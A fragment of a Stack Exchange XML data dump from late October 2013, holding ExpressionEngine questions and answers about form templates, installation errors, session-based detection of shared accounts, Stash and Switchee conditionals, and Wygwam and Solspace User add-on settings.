  <row Id="15215" PostTypeId="2" ParentId="15183" CreationDate="2013-10-31T14:29:41.907" Score="2" Body="&lt;p&gt;When you are building composer forms, in the bottom left hand corner of each field is a widget where you can toggle required:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EfD6l.png&quot; alt=&quot;require_field&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also seems that you are forcing a composer template, you can do that in the upper left hand corner of composer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zgv9Y.png&quot; alt=&quot;composer template choose&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you need specific overrides, the composer tag was designed to only really need to have the form name or id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:composer form_name=&quot;contact-form&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thats not to say what you are doing with the tag is &lt;em&gt;wrong&lt;/em&gt; just more work than you have to be doing.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-31T14:29:41.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15216" PostTypeId="2" ParentId="15204" CreationDate="2013-10-31T14:55:00.550" Score="2" Body="&lt;p&gt;When you have a form that is not submitting you should always remove &lt;code&gt;error_handling=&quot;inline&quot; error_delimiters='&amp;lt;span class=&quot;help-inline&quot;&amp;gt;|&amp;lt;/span&amp;gt;'&lt;/code&gt; from your template to see if you have any errors being reported that are not templated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that if you are trying to register a member during the checkout process you need to include both a &lt;code&gt;password&lt;/code&gt; and &lt;code&gt;confirm_password&lt;/code&gt; field in your template at this point. &lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2013-10-31T20:13:35.963" LastActivityDate="2013-10-31T20:13:35.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15217" PostTypeId="1" AcceptedAnswerId="15311" CreationDate="2013-10-31T15:07:44.277" Score="1" ViewCount="162" Body="&lt;p&gt;When installing EE - I get the dreaded database connection error. I've verified the DB works with the credentials by connecting locally in mysql with the same info. I've also utilized your dbtest.php and verified it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem appears to be EE isn't writing config.php and database.php. The files are zero byte after I hit install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've verified permissions and ownership on both files, as well as the other files as required by the installation script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there potentially some php or apache config that is required to allow these files to be written? Please let me know. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2300" LastEditorUserId="150" LastEditDate="2013-11-01T22:47:34.807" LastActivityDate="2013-11-01T22:47:34.807" Title="Unable to install EE - config.php and database.php not being written" Tags="|php-errors|database-error|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15218" PostTypeId="1" AcceptedAnswerId="15222" CreationDate="2013-10-31T16:34:28.603" Score="2" ViewCount="77" Body="&lt;p&gt;Is there a way to see whether a currently logged in user account is being used on more than one machine concurrently? I'm trying to find out whether users are sharing their usernames/passwords, as I manage a site that requires payment to access certain content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the cookies only user session type. I have looked at using the 'Allow multiple log-ins from a single account?' option to prevent sharing but this caused issues when genuine users tried to access the site using multiple devices.&lt;/p&gt;&#xA;" OwnerUserId="2301" LastEditorUserId="69" LastEditDate="2013-10-31T17:36:48.677" LastActivityDate="2013-10-31T17:36:48.677" Title="Logged in members - account sharing" Tags="|members|login|sessions|cookies|member-management|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15219" PostTypeId="2" ParentId="14851" CreationDate="2013-10-31T16:40:52.280" Score="1" Body="&lt;p&gt;Assets recently added support for setting bucket names in config.php, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   $config['assets_source_settings'] = array(&#xA;      1 =&amp;gt; array (&#xA;        'access_key_id' =&amp;gt; 'key-id-goes-here',&#xA;        'secret_access_key' =&amp;gt; 'secret-key-goes-here',&#xA;        'bucket' =&amp;gt; 'bucket-name-goes-here' &#xA;      )&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That by itself should be sufficient to get past an S3 policy that doesn't allow listing buckets.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-10-31T16:40:52.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15220" PostTypeId="1" CreationDate="2013-10-31T16:41:07.140" Score="1" ViewCount="175" Body="&lt;p&gt;Since updating to Wygwam 3, when you add a table it no longer shows table cell guides. So all you see is nothing. No way to see which cell you are in or even if a table was inserted at all. I understand that you can attach a style sheet to the Wygwam field and style the table that way... but it seems like a major usability issue that by default now tables are basically invisible. Is there anyway to fix this and make guides show up by default?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xXhnd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1556" LastEditorUserId="1556" LastEditDate="2013-11-08T04:25:27.467" LastActivityDate="2013-11-09T20:42:21.720" Title="Wygwam 3 no longer show table borders" Tags="|pixelandtonic|wygwam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15221" PostTypeId="1" AcceptedAnswerId="15227" CreationDate="2013-10-31T16:55:46.427" Score="1" ViewCount="207" Body="&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:switchee variable=&quot;{exp:stash:get name='custom_sidebar_text'}/{exp:stash:get_list name='related_articles'}/{exp:stash:get_list name='related_events'}&quot; parse=&quot;inward&quot;}&#xA;&#xA;      {case value=&quot;//&quot;}{/case} {!-- Ignore no value --}&#xA;&#xA;      {case default=&quot;Yes&quot;}&#xA;&#xA;        &amp;lt;aside class=&quot;{exp:stash:get name='sidebar_class'} {exp:stash:get name='sidebar_shifts_up'} {exp:stash:get name='page_color' random}&quot;&amp;gt;&#xA;&#xA;        {!-- A bunch of markup here. --}&#xA;&#xA;        &amp;lt;/aside&amp;gt;&#xA;&#xA;      {/case}&#xA;    {/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I understand correctly, the first case should only apply if all three of the variables are empty, while the second case should apply if any one, two or all three of the variables contain something. However, in practice, if the first variable is empty, no markup is rendered, and the fact that one or both of the second and third variables have information in them is ignored completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using &lt;code&gt;value=&quot;''/''/''&quot;&lt;/code&gt; in the first case, but that did not work, as it resulted in the second (default) case always being rendered, even when all three variables are empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe &lt;code&gt;exp:stash:get_list&lt;/code&gt; isn’t the proper way to test whether a stash list is empty? I haven’t found an alternate way of testing it, though.&lt;/p&gt;&#xA;" OwnerUserId="2205" LastActivityDate="2013-11-26T00:54:51.843" Title="Switchee with multiple stash variables only evaluates first variable" Tags="|stash|variable|switchee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15222" PostTypeId="2" ParentId="15218" CreationDate="2013-10-31T17:06:43.543" Score="3" Body="&lt;p&gt;You can query the &lt;code&gt;exp_sessions&lt;/code&gt; table, where you can see both the &lt;code&gt;ip_address&lt;/code&gt; and &lt;code&gt;member_id&lt;/code&gt; for each session. Multiple sessions from wildly different IPs would be a cue that an account was being shared widely.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-10-31T17:06:43.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15223" PostTypeId="1" AcceptedAnswerId="16649" CreationDate="2013-10-31T17:08:47.347" Score="1" ViewCount="175" Body="&lt;p&gt;The company is extremely concerned with security. There is a lot of sensitive data on the servers and this is understandable. What I struggle with is getting many of the addons to operate properly, as well as some core functionality due to this setup. I have no control over the setup so I need to try and figure a way of configuring EE to comply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The setup is as follows:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin is contained on a sub-domain of the primary site and sits behind a firewall. So an example would be something like CP Access and System files are at &lt;a href=&quot;http://admin.eesite.com&quot; rel=&quot;nofollow&quot;&gt;http://admin.eesite.com&lt;/a&gt; and the public site is at &lt;a href=&quot;http://www.eesite.com&quot; rel=&quot;nofollow&quot;&gt;http://www.eesite.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The public site is open to the world. The admin is behind a firewall in which you must be connected to the internal network before you have access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most things function as they should, but this has proven to be an extremely problematic setup for using add-ons, and tiresome for performing updates, etc. because it is an MSM install and each leg of the site has this same setting for each segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the problem I run into are 403 or standard 500 errors. Everything is hosted on windows servers via IIS7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running EE 2.7.2&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-11-11T18:27:19.240" Title="Admin control panel access behind firewall" Tags="|ee2|add-on|control-panel|iis|administration|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15224" PostTypeId="2" ParentId="14911" CreationDate="2013-10-31T17:16:13.190" Score="1" Body="&lt;p&gt;This was due to an error being triggered from the frame being used on NSM Live Look and permission settings. When I disabled the NSM Live Look add-on, everything worked smoothly. I am trying to resolve this issue further by seeing if there is something I can do with the NSM Live Look scripts, but I haven't received any responses from the developer yet.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-10-31T17:16:13.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15225" PostTypeId="2" ParentId="13043" CreationDate="2013-10-31T17:20:45.850" Score="0" Body="&lt;p&gt;I worked with Brandon on this via email and we updated everything to the newest versions. This still did not resolve the issues. I am fairly certain this issue is due to the way this old site was built and maintained. I was able to correct the issues I was having by reverting all the way back to the older FF Matrix fieldtype. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am in the process of a complete rebuild and will be moving it all into EE2 so this should &quot;disappear&quot;. I will set this as answered, if nothing else to remove it from the radar of unanswered questions. &lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-10-31T17:20:45.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15226" PostTypeId="2" ParentId="13923" CreationDate="2013-10-31T17:33:43.043" Score="0" Body="&lt;p&gt;I worked with Brandon on this via email and we updated everything to the newest versions. This still did not resolve the issues. I was able to correct the issues I was having by reverting all the way back to the older FF Matrix fieldtype. This is the same solution I had to apply to another issue I was having which leads me to believe this issue is due to the way this old site was built and maintained. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am in the process of a complete rebuild and will be moving it all into EE2 so this should &quot;disappear&quot;. I will set this as answered, if nothing else to remove it from the radar of unanswered questions.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-10-31T17:33:43.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15227" PostTypeId="2" ParentId="15221" CreationDate="2013-10-31T17:37:30.593" Score="2" Body="&lt;p&gt;&lt;code&gt;exp:stash:get_list&lt;/code&gt; is a variable pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, try &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3astash%3alist_count%7D&quot; rel=&quot;nofollow&quot;&gt;exp:stash:list_count&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{exp:stash:get name='custom_sidebar_text'}/{exp:stash:list_count name='related_articles'}/{exp:stash:list_count name='related_events'}&quot; parse=&quot;inward&quot;}&#xA;&#xA;  {case value=&quot;/0/0&quot;}{/case} {!-- Ignore no value --}&#xA;&#xA;  {case default=&quot;Yes&quot;}&#xA;&#xA;    &amp;lt;aside class=&quot;{exp:stash:get name='sidebar_class'} {exp:stash:get name='sidebar_shifts_up'} {exp:stash:get name='page_color' random}&quot;&amp;gt;&#xA;&#xA;    {!-- A bunch of markup here. --}&#xA;&#xA;    &amp;lt;/aside&amp;gt;&#xA;&#xA;  {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have to confess that I don't know if &lt;code&gt;exp:stash:list_count&lt;/code&gt; returns &quot;0&quot; or &quot;&quot; and I can't test right now.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-10-31T17:37:30.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15228" PostTypeId="1" CreationDate="2013-10-31T17:37:31.327" Score="1" ViewCount="76" Body="&lt;p&gt;I'm writing a custom module for EE which integrates with a SOAP service. I've built my own custom forms &amp;amp; actions and have no problem submitting the data via Ajax. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the forms is quite long and I now find myself in a situation where the client wants me to add a &quot;Validate Address&quot; button on the form, that the user would click to submit their address for validation (against the SOAP service), while they continue to fill out the rest of the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the idea is that the &quot;Validate Address&quot; will submit only the address data to an action, which will call the service and then return a result letting the user know that they've entered a valid address or advising them to change something or whatever. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the user has filled out all the fields on the form they'll hit the submit button at the bottom and if the address has been validated, yay, the form submits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I can't put a form inside a form. So I figured I'd put the address related stuff in a div with a ID and the validate button click I'd submit the data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code looks something like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;" OwnerUserId="1948" LastActivityDate="2013-10-31T17:37:31.327" Title="Inline Ajax validation against a SOAP service on button click BEFORE clicking the form submit" Tags="|ee2|ajax|" AnswerCount="0" CommentCount="1" ClosedDate="2013-11-01T16:18:08.777" ContentLicense="CC BY-SA 3.0" />
  <row Id="15229" PostTypeId="1" CreationDate="2013-10-31T18:12:45.883" Score="1" ViewCount="72" Body="&lt;p&gt;Trying to embed a javascript embed, like from Survey Monkey, into a Wygwam 3.2.1 field and when the entry is edited and saved, the embed is removed. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="335" LastActivityDate="2013-11-01T03:10:15.360" Title="Wygwam Embeds being Removed on Edit Entry" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15230" PostTypeId="2" ParentId="15229" CreationDate="2013-10-31T18:21:25.810" Score="4" Body="&lt;p&gt;I figured it out. I needed to set &lt;strong&gt;Restrict allowed HTML?&lt;/strong&gt; to 'No' in the Wygwam configuration settings. This is located on the WYGWAM Module settings page. Works as expected now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L2QHZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="335" LastEditorUserId="28" LastEditDate="2013-11-01T03:10:15.360" LastActivityDate="2013-11-01T03:10:15.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15231" PostTypeId="1" AcceptedAnswerId="15233" CreationDate="2013-10-31T18:30:03.093" Score="1" ViewCount="54" Body="&lt;p&gt;I'm using Solspace's User add-on and I want to show a simple list of all registered members:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:users group_id=&quot;5&quot;}&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;{screen_name}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{email}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{birthday}&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{/exp:user:users}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the birthday just prints {birthday} as if the tag isn't recognized. The other two print just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no clue as to what causes this. Anyone?&lt;/p&gt;&#xA;" OwnerUserId="1020" LastActivityDate="2013-10-31T19:01:07.350" Title="{birthday} is not showing" Tags="|members|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15232" PostTypeId="1" CreationDate="2013-10-31T18:46:21.317" Score="1" ViewCount="86" Body="&lt;p&gt;We are using User 3.4.4. We want the Group_ID (Member Group) that is selected on the Register form to be displayed somewhere on the Profile (as a custom field?) Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="2302" LastActivityDate="2013-11-01T13:40:53.413" Title="Display Custom User Fields in Profiles (Group ID)" Tags="|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15233" PostTypeId="2" ParentId="15231" CreationDate="2013-10-31T18:55:50.480" Score="5" Body="&lt;p&gt;When a variable is returned, instead of echoing out your data means that it isn't an associated variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;a href=&quot;http://www.solspace.com/docs/&quot;&gt;Solspace User docs&lt;/a&gt;, it uses the variable {bday_d}. Try that, but there are more for the birthday, so check them out.&lt;/p&gt;&#xA;" OwnerUserId="1173" LastEditorUserId="1173" LastEditDate="2013-10-31T19:01:07.350" LastActivityDate="2013-10-31T19:01:07.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15234" PostTypeId="1" AcceptedAnswerId="15236" CreationDate="2013-10-31T19:48:58.840" Score="2" ViewCount="325" Body="&lt;p&gt;I have a loop of entries using a playa field to show multiple entries. I would like certain formatting to happen every 3 intervals. I found what I believe to be the solution to my issue here: &#xA;&lt;a href=&quot;https://stackoverflow.com/questions/13050550/how-can-i-insert-html-at-repeating-intervals-in-expressionengine&quot;&gt;https://stackoverflow.com/questions/13050550/how-can-i-insert-html-at-repeating-intervals-in-expressionengine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But something isn't working right. When I look at the result of my loop, there are too many closing divs. It looks like my opening switch statement is working the way i'd like, but the closing switch statement is incorrect. Could someone tell me what I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is the code in my template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{playa_field show_future_entries=&quot;yes&quot; show_expired=&quot;yes&quot;}&#xA;    {switch=&quot;&amp;lt;div class='section-box add'&amp;gt;&amp;lt;div class='outer-center'&amp;gt;&amp;lt;div class='inner-center'&amp;gt;||&quot;}&#xA;        &amp;lt;div class=&quot;box2&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;{event_banner_small}&quot; width=&quot;336&quot; height=&quot;196&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;  &#xA;    {if row_count != total_rows}{switch=&quot;||&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&quot;}{/if}&#xA;    {if row_count == total_rows}&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;{/if}&#xA;{/playa_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here are the results in the browser:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class='section-box add'&amp;gt;&#xA;    &amp;lt;div class='outer-center'&amp;gt;&#xA;    &amp;lt;div class='inner-center'&amp;gt;&#xA;        &amp;lt;div class=&quot;box2&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;http://www.example.com/img.jpg&quot; width=&quot;336&quot; height=&quot;196&quot; alt=&quot;example&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;  &#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;                  &#xA;        &amp;lt;div class=&quot;box2&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;http://www.example.com/img.jpg&quot; width=&quot;336&quot; height=&quot;196&quot; alt=&quot;example&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;  &#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;          &#xA;        &amp;lt;div class=&quot;box2&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;http://www.example.com/img.jpg&quot; width=&quot;336&quot; height=&quot;196&quot; alt=&quot;example&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;  &#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;                  &#xA;    &amp;lt;div class='section-box add'&amp;gt;&#xA;    &amp;lt;div class='outer-center'&amp;gt;&#xA;    &amp;lt;div class='inner-center'&amp;gt;&#xA;        &amp;lt;div class=&quot;box2&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;http://www.example.com/img.jpg&quot; width=&quot;336&quot; height=&quot;196&quot; alt=&quot;example&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;  &#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;                  &#xA;        &amp;lt;div class=&quot;box2&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;http://www.example.com/img.jpg&quot; width=&quot;336&quot; height=&quot;196&quot; alt=&quot;example&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;  &#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is what I would like the outcome to be&lt;/strong&gt; (lets say the total results are 5 in this case, but this number could be more or less depending on the channel entry):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     &amp;lt;div class='section-box add'&amp;gt;&#xA;     &amp;lt;div class='outer-center'&amp;gt;&#xA;     &amp;lt;div class='inner-center'&amp;gt;&#xA;            &amp;lt;div class=&quot;box2&quot;&amp;gt; &amp;lt;!--entry 1--&amp;gt;&#xA;                &amp;lt;img src=&quot;{event_banner_small}&quot; width=&quot;336&quot; height=&quot;196&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;  &#xA;            &amp;lt;div class=&quot;box2&quot;&amp;gt; &amp;lt;!--entry 2--&amp;gt;&#xA;                &amp;lt;img src=&quot;{event_banner_small}&quot; width=&quot;336&quot; height=&quot;196&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;              &#xA;            &amp;lt;div class=&quot;box2&quot;&amp;gt; &amp;lt;!--entry 3--&amp;gt;&#xA;                &amp;lt;img src=&quot;{event_banner_small}&quot; width=&quot;336&quot; height=&quot;196&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;  &#xA;     &amp;lt;/div&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;     &amp;lt;div class='section-box add'&amp;gt;&#xA;     &amp;lt;div class='outer-center'&amp;gt;&#xA;     &amp;lt;div class='inner-center'&amp;gt;&#xA;            &amp;lt;div class=&quot;box2&quot;&amp;gt; &amp;lt;!--entry 4--&amp;gt;&#xA;                &amp;lt;img src=&quot;{event_banner_small}&quot; width=&quot;336&quot; height=&quot;196&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;  &#xA;            &amp;lt;div class=&quot;box2&quot;&amp;gt; &amp;lt;!--entry 5--&amp;gt;&#xA;                &amp;lt;img src=&quot;{event_banner_small}&quot; width=&quot;336&quot; height=&quot;196&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;              &#xA;     &amp;lt;/div&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="899" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-10-31T22:02:31.700" Title="Using {switch} to Repeat Divs at Intervals" Tags="|playa|loop|switch|interval|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15235" PostTypeId="2" ParentId="15232" CreationDate="2013-10-31T19:53:51.120" Score="2" Body="&lt;p&gt;If I understand correctly, the &lt;code&gt;{member_group}&lt;/code&gt; single variable will show the member group ID for the currently logged in user&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I would create a new member custom text field to capture this data on registration. So during the registration process, have this text field hidden and then with Javascript copy the value from the Member Group field to this hidden text field. Make sense?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update 2&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Updated Kristen's fiddle for demo purposes. Added comments and optimized the function a little bit. ID selector's are always faster. Thanks Kristen for creating that fiddle. Here is the &lt;a href=&quot;http://jsfiddle.net/2zGuL/1/&quot; rel=&quot;nofollow&quot;&gt;updated one&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-11-01T13:40:53.413" LastActivityDate="2013-11-01T13:40:53.413" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15236" PostTypeId="2" ParentId="15234" CreationDate="2013-10-31T20:02:25.917" Score="3" Body="&lt;p&gt;Looks like I got it working. maybe this will help someone else out, or maybe someone will find an even better solution. I simply switched &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if row_count != total_rows} &amp;amp; {if row_count == total_rows} &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if count != total_results} &amp;amp; {if count == total_results}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;so the final code in my template is:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{playa_field show_future_entries=&quot;yes&quot; show_expired=&quot;yes&quot;}&#xA;    {switch=&quot;&amp;lt;div class='section-box add'&amp;gt;&amp;lt;div class='outer-center'&amp;gt;&amp;lt;div class='inner-center'&amp;gt;||&quot;}&#xA;        &amp;lt;div class=&quot;box2&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;{event_banner_small}&quot; width=&quot;336&quot; height=&quot;196&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;  &#xA;    {if count != total_results}{switch=&quot;||&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&quot;}{/if}&#xA;    {if count == total_results}&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;{/if}&#xA;{/playa_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="899" LastEditorUserId="899" LastEditDate="2013-10-31T22:01:54.760" LastActivityDate="2013-10-31T22:01:54.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15237" PostTypeId="1" AcceptedAnswerId="15238" CreationDate="2013-10-31T20:19:17.083" Score="2" ViewCount="132" Body="&lt;p&gt;I have a relationship field where the parent can select multiple children from multiple channels. When it comes time to display everything, I need to know what channel the child entry comes from so I can display the proper fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parent}&#xA;{parent:channel_short_name} - &amp;lt;b&amp;gt;{parent:title}&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&#xA;{/parent}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but no go. It literally just displays &quot;{parent:channel_short_name}&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Just go get Playa?&lt;br /&gt;&#xA;Thanks&lt;br /&gt;&#xA;Amanda&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Haha, yea never mind. I must have had a typo. It works fine.&lt;/p&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="1761" LastEditDate="2013-10-31T20:35:40.047" LastActivityDate="2013-10-31T20:35:40.047" Title="Relationships - can I get child channel_short_name?" Tags="|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
